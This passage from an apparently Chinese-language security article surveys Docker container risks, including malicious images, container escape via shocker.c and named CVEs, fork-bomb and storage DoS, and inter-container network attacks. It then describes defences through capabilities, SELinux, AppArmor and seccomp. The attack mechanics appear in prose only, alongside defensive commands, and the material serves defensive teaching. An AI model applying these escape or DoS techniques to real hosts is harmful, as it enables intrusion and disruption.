   &lt;td&gt;                CLONE_NEWPID            &lt;/td&gt;
   &lt;td&gt;                进程编号            &lt;/td&gt;
   &lt;td&gt;                2.6.24            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                Network            &lt;/td&gt;
   &lt;td&gt;                CLONE_NEWNET            &lt;/td&gt;
   &lt;td&gt;                网络设备、网络栈、端口等            &lt;/td&gt;
   &lt;td&gt;                2.6.29            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                Mount            &lt;/td&gt;
   &lt;td&gt;                CLONE_NEWNS            &lt;/td&gt;
   &lt;td&gt;                挂载点（文件系统）            &lt;/td&gt;
   &lt;td&gt;                2.4.19            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                User            &lt;/td&gt;
   &lt;td&gt;                CLONE_NEWUSER            &lt;/td&gt;
   &lt;td&gt;                用户和用户组            &lt;/td&gt;
   &lt;td&gt;                3.8            &lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
 &lt;p&gt;    对于某个进程而言，可通过查看/proc/[PID]/ns文件，获取该进程下的命名空间隔离情况，如图1所示。其中，每一项命名空间都拥有一个编号对其进行唯一标识，如果宿主机中两个进程指向的命名空间编号相同，则表示他们同在一个命名空间之下。&lt;/p&gt;
 &lt;p&gt;      &lt;img src="https://image.3001.net/images/20191127/1574822385_5ddde1f1ef754.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;    图1：进程命名空间&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;2&lt;/strong&gt;  &lt;strong&gt;）&lt;/strong&gt;  &lt;strong&gt;CGroups&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    CGroups（Control Groups，控制组）机制最早于2006年由Google提出，目前是Linux内核的一种机制，可以实现对任务组（进程组或线程组）使用的物理资源（CPU、内存、I/O等）进行限制和记录，通过多种度量标准为各个容器相对公平地分配资源，以防止资源滥用的情况。&lt;/p&gt;
 &lt;p&gt;    在实际应用中，CGroups会为每个执行任务创建一个钩子，在任务执行的过程中涉及到资源分配使用时，就会触发钩子上的函数并对相应的资源进行检测，从而对资源进行限制和优先级分配。&lt;/p&gt;
 &lt;p&gt;    CGroups提供了资源限制（Resource Limitation）、优先级分配（Prioritization）、资源统计（Accounting）、任务控制（Control）四个功能，包含blkio、cpu、cpuacct、cpuset、devices、freezer、memory、perf_event、net_cls、net_prio、ns、hugetlb等子系统，每种子系统独立地控制一种资源，可分别实现块设备输入/输出限制、CPU使用控制、生成CPU资源使用情况报告、内存使用量限制等功能。几个主要子系统的具体功能如表2所示。&lt;/p&gt;
 &lt;p&gt;    表2：CGroups子系统&lt;/p&gt;
 &lt;table&gt;


    

  &lt;tr&gt;
   &lt;th&gt;                子系统            &lt;/th&gt;
   &lt;th&gt;                功能            &lt;/th&gt;
&lt;/tr&gt;


  &lt;tr&gt;
   &lt;td&gt;                blkio            &lt;/td&gt;
   &lt;td&gt;                为块设备（如磁盘、固态硬盘等物理驱动设备）设定输入/输出限制            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                cpu            &lt;/td&gt;
   &lt;td&gt;                通过调度程序控制任务对CPU的使用            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                cpuacct            &lt;/td&gt;
   &lt;td&gt;                生成任务对CPU资源使用情况的报告            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                cpuset            &lt;/td&gt;
   &lt;td&gt;                为任务分配独立的CPU和内存            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                devices            &lt;/td&gt;
   &lt;td&gt;                开启或关闭任务对设备的访问            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                freezer            &lt;/td&gt;
   &lt;td&gt;                挂起或恢复任务            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                memory            &lt;/td&gt;
   &lt;td&gt;                设定任务对内存的使用量限制，生成任务对内存资源使用情况的报告            &lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
 &lt;h3&gt;    3、安全性&lt;/h3&gt;
 &lt;p&gt;    传统虚拟化技术与Docker容器技术在运行时的安全性差异主要体现在隔离性方面，包括进程隔离、文件系统隔离、设备隔离、进程间通信隔离、网络隔离、资源限制等。&lt;/p&gt;
 &lt;p&gt;    在Docker容器环境中，由于各容器共享操作系统内核，而容器仅为运行在宿主机上的若干进程，其安全性特别是隔离性与传统虚拟机相比在理论上与实际上都存在一定的差距。&lt;/p&gt;
 &lt;h2&gt;    二、Docker容器安全风险分析&lt;/h2&gt;
 &lt;p&gt;    根据Docker容器的主要特点及其在安全应用中的实际问题，本文将Docker容器技术应用中可能存在的技术性安全风险分为镜像安全风险、容器虚拟化安全风险、网络安全风险等类型进行具体分析，如图2所示。&lt;/p&gt;
 &lt;p&gt;      &lt;img src="https://image.3001.net/images/20191127/1574822397_5ddde1fd95671.png!small"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;    图2：容器安全风险分类&lt;/p&gt;
 &lt;h3&gt;    1、镜像安全风险&lt;/h3&gt;
 &lt;p&gt;    Docker镜像是Docker容器的静态表示形式，镜像的安全决定了容器的运行时安全。&lt;/p&gt;
 &lt;p&gt;    Docker容器官方镜像仓库Docker Hub中的镜像可能由个人开发者上传，其数量丰富、版本多样，但质量参差不齐，甚至存在包含恶意漏洞的恶意镜像，因而可能存在较大的安全风险。具体而言，Docker镜像的安全风险分布在创建过程、获取来源、获取途径等方方面面。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;1&lt;/strong&gt;  &lt;strong&gt;）&lt;/strong&gt;  &lt;strong&gt;Dockerfile&lt;/strong&gt;  &lt;strong&gt;安全问题&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    Docker镜像的生成主要包括两种方式，一种是对运行中的动态容器通过docker commit命令进行打包，另一种是通过docker build命令执行Dockerfile文件进行创建。为了确保最小安装原则，同时考虑容器的易维护性，一般推荐采用Dockerfile文件构建容器镜像，即在基础镜像上进行逐层应用添加操作。&lt;/p&gt;
 &lt;p&gt;    Dockerfile是包含用于组合镜像命令的文本文件，一般由基础镜像信息（FROM）、维护者信息（MAINTAINER）、镜像操作指令（RUN、ADD、COPY等）、容器启动时执行指令（CMD等）四个部分组成，Docker可通过读取Dockerfile中的命令创建容器镜像。&lt;/p&gt;
 &lt;p&gt;    Dockerfile文件内容在一定程度上决定了Docker镜像的安全性，其安全风险具体包括但不限于以下情况：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;        如果Dockerfile存在漏洞或被插入恶意脚本，那么生成的容器也可能产生漏洞或被恶意利用。例如，攻击者可构造特殊的Dockerfile压缩文件，在编译时触发漏洞获取执行任意代码的权限。    &lt;/p&gt;
  &lt;p&gt;        如果在Dockerfile中没有指定USER，Docker将默认以root用户的身份运行该Dockerfile创建的容器，如果该容器遭到攻击，那么宿主机的root访问权限也可能会被获取。    &lt;/p&gt;
  &lt;p&gt;        如果在Dockerfile文件中存储了固定密码等敏感信息并对外进行发布，则可能导致数据泄露的风险。    &lt;/p&gt;
  &lt;p&gt;        如果在Dockerfile的编写中添加了不必要的应用，如SSH、Telnet等，则会产生攻击面扩大的风险。    &lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;      &lt;strong&gt;2&lt;/strong&gt;  &lt;strong&gt;）镜像漏洞&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    对于大多数一般的开发者而言，通常需要获取一系列基础镜像进行容器云的部署和进一步开发，因此，基础镜像的安全性在一定程度上决定了容器云环境的安全性。&lt;/p&gt;
 &lt;p&gt;    镜像漏洞安全风险具体包括镜像中的软件含有CVE漏洞、攻击者上传含有恶意漏洞的镜像等情况。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;① CVE漏洞&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    由于镜像通常由基础操作系统与各类应用软件构成，因此，含有CVE漏洞的应用软件同样也会向Docker镜像中引入CVE漏洞。&lt;/p&gt;
 &lt;p&gt;    镜像的获取通常是通过官方镜像仓库Docker Hub或网易、阿里云等提供的第三方镜像仓库。然而，根据对Docker Hub中镜像安全漏洞的相关研究，无论是社区镜像还是官方镜像，其平均漏洞数均接近200个，包括nginx、mysql、redis在内的常用镜像都含有高危漏洞。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;② 恶意漏洞&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    恶意用户可能将含有后门、病毒等恶意漏洞的镜像上传至官方镜像库。2018年6月，安全厂商Fortinet和Kromtech在Docker Hub上发现17个包含用于数字货币挖矿恶意程序的Docker镜像，而这些恶意镜像当时已有500万次的下载量。目前，由于Docker应用在世界范围内具有广泛性，全网针对Docker容器的攻击很多都被用于进行数字货币挖矿，为攻击者带来实际经济利益，损害Docker用户的正常使用。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;3&lt;/strong&gt;  &lt;strong&gt;）镜像仓库安全&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    作为搭建私有镜像存储仓库的工具，Docker Registry的应用安全性也必须得到保证。镜像仓库的安全风险主要包括仓库本身的安全风险和镜像拉取过程中的传输安全风险。&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;        仓库自身安全：如果镜像仓库特别是私有镜像仓库被恶意攻击者所控制，那么其中所有镜像的安全性将无法得到保证。例如，如果私有镜像仓库由于配置不当而开启了2357端口，将会导致私有仓库暴露在公网中，攻击者可直接访问私有仓库并篡改镜像内容，造成仓库内镜像的安全隐患。    &lt;/p&gt;
  &lt;p&gt;        镜像拉取安全：如何保证容器镜像从镜像仓库到用户端的完整性也是镜像仓库面临的一个重要安全问题。由于用户以明文形式拉取镜像，如果用户在与镜像仓库交互的过程中遭遇了中间人攻击，导致拉取的镜像在传输过程中被篡改或被冒名发布恶意镜像，会造成镜像仓库和用户双方的安全风险。Docker已在其1.8版本后采用内容校验机制解决中间人攻击的问题。    &lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h3&gt;    2、容器虚拟化安全风险&lt;/h3&gt;
 &lt;p&gt;    与传统虚拟机相比，Docker容器不拥有独立的资源配置，且没有做到操作系统内核层面的隔离，因此可能存在资源隔离不彻底与资源限制不到位所导致的安全风险。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;1&lt;/strong&gt;  &lt;strong&gt;）容器隔离问题&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    对于Docker容器而言，由于容器与宿主机共享操作系统内核，因此存在容器与宿主机之间、容器与容器之间隔离方面的安全风险，具体包括进程隔离、文件系统隔离、进程间通信隔离等。&lt;/p&gt;
 &lt;p&gt;    虽然Docker通过Namespaces进行了文件系统资源的基本隔离，但仍有/sys、/proc/sys、/proc/bus、/dev、time、syslog等重要系统文件目录和命名空间信息未实现隔离，而是与宿主机共享相关资源。&lt;/p&gt;
 &lt;p&gt;    针对容器隔离安全风险问题，主要存在以下两种隔离失效的情况：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;        攻击者可能通过对宿主机内核进行攻击达到攻击其中某个容器的目的。    &lt;/p&gt;
  &lt;p&gt;        由于容器所在主机文件系统存在联合挂载的情况，恶意用户控制的容器也可能通过共同挂载的文件系统访问其他容器或宿主机，造成数据安全问题。    &lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;      &lt;strong&gt;2&lt;/strong&gt;  &lt;strong&gt;）容器逃逸攻击&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    容器逃逸攻击指的是容器利用系统漏洞，“逃逸”出了其自身所拥有的权限，实现了对宿主机和宿主机上其他容器的访问。由于容器与宿主机共享操作系统内核，为了避免容器获取宿主机的root权限，通常不允许采用特权模式运行Docker容器。&lt;/p&gt;
 &lt;p&gt;    在容器逃逸案例中，最为著名的是shocker.c程序，其通过调用open_by_handle_at函数对宿主机文件系统进行暴力扫描，以获取宿主机的目标文件内容。由于Docker1.0之前版本对容器能力（Capability）使用黑名单策略进行管理，并没有限制CAP_DAC_READ_SEARCH能力，赋予了shocker.c程序调用open_by_handle_at函数的能力，导致容器逃逸的发生。因此，对容器能力的限制不当是可能造成容器逃逸等安全问题的风险成因之一。所幸的是，Docker在后续版本中对容器能力采用白名单管理，避免了默认创建的容器通过shocker.c案例实现容器逃逸的情况。&lt;/p&gt;
 &lt;p&gt;    此外，在Black Hat USA 2019会议中，来自Capsule8的研究员也给出了若干Docker容器引擎漏洞与容器逃逸攻击方法，包括CVE-2019-5736、CVE-2018-18955、CVE-2016-5195等可能造成容器逃逸的漏洞。&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;        CVE-2019-5736是runC的一个安全漏洞，导致18.09.2版本前的Docker允许恶意容器覆盖宿主机上的runC二进制文件。runC是用于创建和运行Docker容器的CLI工具，该漏洞使攻击者能够以root身份在宿主机上执行任意命令。    &lt;/p&gt;
  &lt;p&gt;        CVE-2018-18955漏洞涉及到User命名空间中的嵌套用户命名空间，用户命名空间中针对uid（用户ID）和gid（用户组ID）的ID映射机制保证了进程拥有的权限不会逾越其父命名空间的范畴。该漏洞利用创建用户命名空间的子命名空间时损坏的ID映射实现提权。    &lt;/p&gt;
  &lt;p&gt;        CVE-2016-5195脏牛（Dirty CoW）Linux内核提权漏洞可以使低权限用户在多版本Linux系统上实现本地提权，进而可能导致容器逃逸的发生。Linux内核函数get_user_page在处理Copy-on-Write时可能产生竞态条件，导致出现向进程地址空间内只读内存区域写数据的机会，攻击者可进一步修改su或者passwd程序以获取root权限。    &lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;      &lt;strong&gt;3&lt;/strong&gt;  &lt;strong&gt;）拒绝服务攻击&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    由于容器与宿主机共享CPU、内存、磁盘空间等硬件资源，且Docker本身对容器使用的资源并没有默认限制，如果单个容器耗尽宿主机的计算资源或存储资源（例如进程数量、存储空间等）可能导致宿主机或其他容器的拒绝服务。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;① 计算型DoS攻击&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    Fork Bomb是一类典型的针对计算资源的拒绝服务攻击手段，其可通过递归方式无限循环调用fork()系统函数快速创建大量进程。由于宿主机操作系统内核支持的进程总数有限，如果某个容器遭到了Fork Bomb攻击，那么就有可能存在由于短时间内在该容器内创建过多进程而耗尽宿主机进程资源的情况，宿主机及其他容器就无法再创建新的进程。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;② 存储型DoS攻击&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    针对存储资源，虽然Docker通过Mount命名空间实现了文件系统的隔离，但CGroups并没有针对AUFS文件系统进行单个容器的存储资源限制，因此采用AUFS作为存储驱动具有一定的安全风险。如果宿主机上的某个容器向AUFS文件系统中不断地进行写文件操作，则可能会导致宿主机存储设备空间不足，无法再满足其自身及其他容器的数据存储需求。&lt;/p&gt;
 &lt;h3&gt;    3、网络安全风险&lt;/h3&gt;
 &lt;p&gt;    网络安全风险是互联网中所有信息系统所面临的重要风险，不论是物理设备还是虚拟机，都存在难以完全规避的网络安全风险问题。而在轻量级虚拟化的容器网络环境中，其网络安全风险较传统网络而言更为复杂严峻。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;1&lt;/strong&gt;  &lt;strong&gt;）容器网络攻击&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    Docker提供桥接网络、MacVLAN、覆盖网络（Overlay）等多种组网模式，可分别实现同一宿主机内容器互联、跨宿主机容器互联、容器集群网络等功能。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;① 网桥模式&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    Docker默认采用网桥模式，利用iptables进行NAT转换和端口映射。Docker将所有容器都通过虚拟网络接口对连接在一个名为docker0的虚拟网桥上，作为容器的默认网关，而该网桥与宿主机直接相连。&lt;/p&gt;
 &lt;p&gt;    容器内部的数据包经过虚拟网络接口对到达docker0，实现同一子网内不同容器间的通信。在网桥模式下，同一宿主机内各容器间可以互相通信，而宿主机外部无法通过分配给容器的IP地址对容器进行外部访问。&lt;/p&gt;
 &lt;p&gt;    由于缺乏容器间的网络安全管理机制，无法对同一宿主机内各容器之间的网络访问权限进行限制。具体而言，由于各容器之间通过宿主机内部网络的docker0网桥连接以实现路由和NAT转换，如果容器间没有防火墙等保护机制，则攻击者可通过某个容器对宿主机内的其他容器进行ARP欺骗、嗅探、广播风暴等攻击，导致信息泄露、影响网络正常运行等安全后果。&lt;/p&gt;
 &lt;p&gt;    因此，如果在同一台宿主机上部署的多个容器没有进行合理的网络配置进行访问控制边界隔离，将可能产生容器间的网络安全风险。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;② MacVLAN&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    MacVLAN是一种轻量级网络虚拟化技术，通过与主机的网络接口连接实现了与实体网络的隔离性。&lt;/p&gt;
 &lt;p&gt;    MacVLAN允许为同一个物理网卡配置多个拥有独立MAC地址的网络接口并可分别配置IP地址，实现了网卡的虚拟化。MacVLAN模式无需创建网桥，即无需NAT转换和端口映射就可以直接通过网络接口连接到物理网络，不同MacVLAN网络间不能在二层网络上进行通信。&lt;/p&gt;
 &lt;p&gt;    然而，处于同一虚拟网络下各容器间同样没有进行访问权限控制，因此MacVLAN模式依然存在与网桥模式类似的内部网络攻击的安全风险。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;③ Overlay网络&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    Overlay网络架构主要用于构建分布式容器集群，通过VxLAN技术在不同主机之间的Underlay网络上建立虚拟网络，以搭建跨主机容器集群，实现不同物理主机中同一Overlay网络下的容器间通信。&lt;/p&gt;
 &lt;p&gt;    与其他组网模式一样，Overlay网络也没有对同一网络内各容器间的连接进行访问控制。此外，由于VxLAN网络流量没有加密，需要在设定IPSec隧道参数时选择加密以保证容器网络传输内容安全。&lt;/p&gt;
 &lt;p&gt;    因此，无论采用何种网络连接模式，都难以避免容器间互相攻击的安全风险。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;2&lt;/strong&gt;  &lt;strong&gt;）网络&lt;/strong&gt;  &lt;strong&gt;DoS&lt;/strong&gt;  &lt;strong&gt;攻击&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    由于网络虚拟化的存在，容器网络面临着与传统网络不同的DoS攻击安全风险。Docker容器网络的DoS攻击分为内部威胁和外部威胁两种主要形式。&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;        内部威胁：针对Docker容器网络环境，DoS攻击可不通过物理网卡而在宿主机内部的容器之间进行，攻击者通过某个容器向其他容器发起DoS攻击可能降低其他容器的网络数据处理能力。因此，存在容器虚拟网络间的DoS攻击风险。    &lt;/p&gt;
  &lt;p&gt;        外部威胁：由于同一台宿主机上的所有容器共享宿主机的物理网卡资源，若外部攻击者使用包含大量受控主机的僵尸网络向某一个目标容器发送大量数据包进行DDoS攻击，将可能占满宿主机的网络带宽资源，造成宿主机和其他容器的拒绝服务。    &lt;/p&gt;
&lt;/blockquote&gt;
 &lt;h2&gt;    三、Docker容器安全机制与解决方案&lt;/h2&gt;
 &lt;h3&gt;    1、容器虚拟化安全&lt;/h3&gt;
 &lt;p&gt;    在传统虚拟化技术架构中，Hypervisor虚拟机监视器是虚拟机资源的管理与调度模块。而在容器架构中，由于不含有Hypervisor层，因此需要依靠操作系统内核层面的相关机制对容器进行安全的资源管理。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;1&lt;/strong&gt;  &lt;strong&gt;）容器资源隔离与限制&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    在资源隔离方面，与采用虚拟化技术实现操作系统内核级隔离不同，Docker通过Linux内核的Namespace机制实现容器与宿主机之间、容器与容器之间资源的相对独立。通过为各运行容器创建自己的命名空间，保证了容器中进程的运行不会影响到其他容器或宿主机中的进程。&lt;/p&gt;
 &lt;p&gt;    在资源限制方面，Docker通过CGroups实现宿主机中不同容器的资源限制与审计，包括对CPU、内存、I/O等物理资源进行均衡化配置，防止单个容器耗尽所有资源造成其他容器或宿主机的拒绝服务，保证所有容器的正常运行。&lt;/p&gt;
 &lt;p&gt;    但是，CGroups未实现对磁盘存储资源的限制。若宿主机中的某个容器耗尽了宿主机的所有存储空间，那么宿主机中的其他容器无法再进行数据写入。Docker提供的–storage-opt=[]磁盘限额仅支持Device Mapper文件系统，而Linux系统本身采用的磁盘限额机制是基于用户和文件系统的quota技术，难以针对Docker容器实现基于进程或目录的磁盘限额。因此，可考虑采用以下方法实现容器的磁盘存储限制：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;        为每个容器创建单独用户，限制每个用户的磁盘使用量；    &lt;/p&gt;
  &lt;p&gt;        选择XFS等支持针对目录进行磁盘使用量限制的文件系统；    &lt;/p&gt;
  &lt;p&gt;        为每个容器创建单独的虚拟文件系统，具体步骤为创建固定大小的磁盘文件，并从该磁盘文件创建虚拟文件系统，然后将该虚拟文件系统挂载到指定的容器目录。    &lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;    此外，在默认情况下，容器可以使用主机上的所有内存。可以使用内存限制机制来防止一个容器消耗所有主机资源的拒绝服务攻击，具体可使用使用-m或-memory参数运行容器。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;（命令示例：docker run [运行参数] -memory [内存大小] [容器镜像名或ID] [命令]）&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;      &lt;strong&gt;2&lt;/strong&gt;  &lt;strong&gt;）容器能力限制&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    Linux内核能力表示进程所拥有的系统调用权限，决定了程序的系统调用能力。&lt;/p&gt;
 &lt;p&gt;    容器的默认能力包括CHOWN、DAC_OVERRIDE、FSETID、SETGID、SETUID、SETFCAP、NET_RAW、MKNOD、SYS_REBOOT、SYS_CHROOT、KILL、NET_BIND_SERVICE、AUDIT_WRITE等等，具体功能如表3所示。&lt;/p&gt;
 &lt;p&gt;    表3：容器默认能力&lt;/p&gt;
 &lt;table&gt;


    

  &lt;tr&gt;
   &lt;th&gt;                容器默认能力            &lt;/th&gt;
   &lt;th&gt;                作用            &lt;/th&gt;
&lt;/tr&gt;


  &lt;tr&gt;
   &lt;td&gt;                CHOWN            &lt;/td&gt;
   &lt;td&gt;                允许任意更改文件UID以及GID            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                DAC_OVERRIDE            &lt;/td&gt;
   &lt;td&gt;                允许忽略文件的读、写、执行访问权限检查            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                FSETID            &lt;/td&gt;
   &lt;td&gt;                允许文件修改后保留setuid/setgid标志位            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                SETGID            &lt;/td&gt;
   &lt;td&gt;                允许改变进程组ID            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                SETUID            &lt;/td&gt;
   &lt;td&gt;                允许改变进程用户ID            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                SETFCAP            &lt;/td&gt;
   &lt;td&gt;                允许向其他进程转移或删除能力            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                NET_RAW            &lt;/td&gt;
   &lt;td&gt;                允许创建RAW和PACKET套接字            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                MKNOD            &lt;/td&gt;
   &lt;td&gt;                允许使用mknod创建指定文件            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                SYS_REBOOT            &lt;/td&gt;
   &lt;td&gt;                允许使用reboot或者kexec_load            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                SYS_CHROOT            &lt;/td&gt;
   &lt;td&gt;                允许使用chroot            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                KILL            &lt;/td&gt;
   &lt;td&gt;                允许发送信号            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                NET_BIND_SERVICE            &lt;/td&gt;
   &lt;td&gt;                允许绑定常用端口号（端口号小于1024）            &lt;/td&gt;
&lt;/tr&gt;
  &lt;tr&gt;
   &lt;td&gt;                AUDIT_WRITE            &lt;/td&gt;
   &lt;td&gt;                允许审计日志写入            &lt;/td&gt;
&lt;/tr&gt;

&lt;/table&gt;
 &lt;p&gt;    如果对容器能力不加以适当限制，可能会存在以下安全隐患：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;        内部因素：在运行Docker容器时，如果采用默认的内核功能配置可能会产生容器的隔离问题。    &lt;/p&gt;
  &lt;p&gt;        外部因素：不必要的内核功能可能导致攻击者通过容器实现对宿主机内核的攻击。    &lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;    因此，不当的容器能力配置可能会扩大攻击面，增加容器与宿主机面临的安全风险，在执行docker run命令运行Docker容器时可根据实际需求通过–cap-add或–cap-drop配置接口对容器的能力进行增删。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;（命令示例：docker run --cap-drop ALL --cap-add SYS_TIME ntpd /bin/sh）&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;      &lt;strong&gt;3&lt;/strong&gt;  &lt;strong&gt;）强制访问控制&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    强制访问控制（Mandatory Access Control, MAC）是指每一个主体（包括用户和程序）和客体都拥有固定的安全标记，主体能否对客体进行相关操作，取决于主体和客体所拥有安全标记的关系。在Docker容器应用环境下，可通过强制访问控制机制限制容器的访问资源。Linux内核的强制访问控制机制包括SELinux、AppArmor等。&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;① SELinux机制&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    SELinux（Security-Enhanced Linux）是Linux内核的强制访问控制实现，由美国国家安全局（NSA）发起，用以限制进程的资源访问，即进程仅能访问其任务所需的文件资源。因此，可通过SELinux对Docker容器的资源访问进行控制。&lt;/p&gt;
 &lt;p&gt;    在启动Docker daemon守护进程时，可通过将–selinux-enabled参数设为true，从而在Docker容器中使用SELinux。SELinux可以使经典的shocker.c程序失效，使其无法逃逸出Docker容器实现对宿主机资源的访问。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;（命令示例：docker daemon --selinux-enabled = true）&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;      &lt;strong&gt;② AppArmor机制&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    与SELinux类似，AppArmor（Application Armor，应用程序防护）也是Linux的一种强制访问控制机制，其作用是对可执行程序进行目录和文件读写、网络端口访问和读写等权限的控制。&lt;/p&gt;
 &lt;p&gt;    在Docker daemon启动后会在/etc/apparmor.d/docker自动创建AppArmor的默认配置文件docker-default，可通过在该默认配置文件中新增访问控制规则的方式对容器进行权限控制，同时可在启动容器时通过–security-opt指定其他配置文件。例如，在配置文件中加入一行deny /etc/hosts rwklx限制对/etc/hosts的获取，同样可使shocker.c容器逃逸攻击失效。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;（命令示例：docker run --rm -ti --cap-add=all --security-opt apparmor:docker-default shocker bash）&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;      &lt;strong&gt;4&lt;/strong&gt;  &lt;strong&gt;）&lt;/strong&gt;  &lt;strong&gt;Seccomp&lt;/strong&gt;  &lt;strong&gt;机制&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;    Seccomp（Secure Computing Mode）是Linux内核提供的安全特性，可实现应用程序的沙盒机制构建，以白名单或黑名单的方式限制进程能够进行的系统调用范围。&lt;/p&gt;
 &lt;p&gt;    在Docker中，可通过为每个容器编写json格式的seccomp profile实现对容器中进程系统调用的限制。在seccomp profile中，可定义以下行为对进程的系统调用做出响应：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;        SCMP_ACT_KILL：当进程进行对应的系统调用时，内核发出SIGSYS信号终止该进程，该进程不会接受到这个信号；    &lt;/p&gt;
  &lt;p&gt;        SCMP_ACT_TRAP：当进程进行对应的系统调用时，该进程会接收到SIGSYS信号，并改变自身行为；    &lt;/p&gt;
  &lt;p&gt;        SCMP_ACT_ERRNO：当进程进行对应的系统调用时，系统调用失败，进程会接收到errno返回值；    &lt;/p&gt;
  &lt;p&gt;        SCMP_ACT_TRACE：当进程进行对应的系统调用时，进程会被跟踪；    &lt;/p&gt;
  &lt;p&gt;        SCMP_ACT_ALLOW：允许进程进行对应的系统调用行为。    &lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;    默认情况下，在Docker容器的启动过程中会使用默认的seccomp profile，可使用security-opt seccomp选项使用特定的seccomp profile。&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;（命令示例：docker run --rm -it --security-opt seccomp:/path/to/seccomp/profile.json hello-world）&lt;/code&gt;&lt;/pre&gt;
 &lt;h3&gt;    2、容器安全管理&lt;/h3&gt;
 &lt;p&gt;      &lt;strong&gt;1&lt;/strong&gt;  &lt;strong&gt;）镜像仓库安全&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;      &lt;strong&gt;① 内容信任机制&lt;/strong&gt;&lt;/p&gt;
